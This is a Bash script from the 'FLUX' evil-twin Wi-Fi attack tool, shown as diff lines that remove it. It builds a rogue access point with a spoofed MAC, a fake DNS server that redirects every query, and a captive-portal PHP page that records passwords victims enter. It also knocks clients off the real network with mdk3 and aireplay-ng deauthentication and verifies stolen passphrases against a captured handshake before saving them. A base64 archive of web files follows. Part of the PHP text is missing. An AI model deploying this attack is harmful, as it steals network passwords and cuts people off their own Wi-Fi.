- echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" ACCESS POINT:\" - echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 